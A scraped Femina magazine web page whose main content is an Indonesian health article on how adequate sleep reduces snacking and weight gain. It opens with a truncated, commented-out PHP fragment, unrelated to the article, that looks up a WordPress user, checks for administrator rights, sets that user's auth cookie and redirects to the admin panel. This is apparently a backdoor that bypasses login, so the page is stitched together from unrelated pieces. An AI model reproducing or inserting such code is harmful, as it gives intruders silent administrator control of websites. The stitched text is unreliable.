user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Health & Diet
Benarkah Tidur Cukup Membuat Langsing?

30 Sep 2011

'Tidur yang cukup bisa membuat pinggang jadi langsing!'

Ah, becanda mungkin! Tip yang muncul sebelum jeda iklan di acara reality show The Biggest Loser yang tayang di televisi berbayar ini memang terkesan tidak serius. Tetapi, bukannya tanpa alasan bila para pelatih hebat –yang berhasil membuang 83 kg kelebihan bobot David Gurnani– ini membagikan tip unik tersebut kepada para pemirsa. Pakar kebugaran dr. Phaidon Toruan membantu menguak fakta sehat yang ada di balik tip ini.

Advertisement
Menurut dr. Phaidon, hal ini tidak berarti bahwa pada saat tidur Anda membakar lebih banyak kalori. Tetapi, dengan tidur cukup, 6-8 jam setiap hari, Anda mengurangi kecenderungan menambah berat badan. Logikanya, jika Anda mengantuk dan memaksakan bekerja, Anda akan cenderung ngemil untuk tetap terjaga. Dalam kondisi lelah, Anda akan kehilangan kontrol untuk memilih makanan yang sehat. Maka, segelas kopi atau cappuccino dan sekantong besar keripik kaya sodium akan menjadi pilihan.

Fakta ini diperkuat oleh hasil penelitian University of Chicago yang menemukan bahwa kurang tidur akan mengganggu hormon yang mengirim sinyal kenyang saat makan. Jadi, jangan heran jika mengudap sekantong keripik asin belum juga membuat Anda kenyang! Nah, daripada ngemil yang tidak jelas, tidurlah lebih cepat, lelap, dan cukup. (f)



 


MORE ARTICLE
Clean Cut Emporio Armani
Aksi Sosial SOPHIE

More Videos
polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda? 

View Result
event
recommended
most viewed
about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

subscribe
(021) 250 333 28
langganan@pranagroup.id
© 2026 Femina Indonesia, Femina Group. All Right Reserved. | By fdvs team.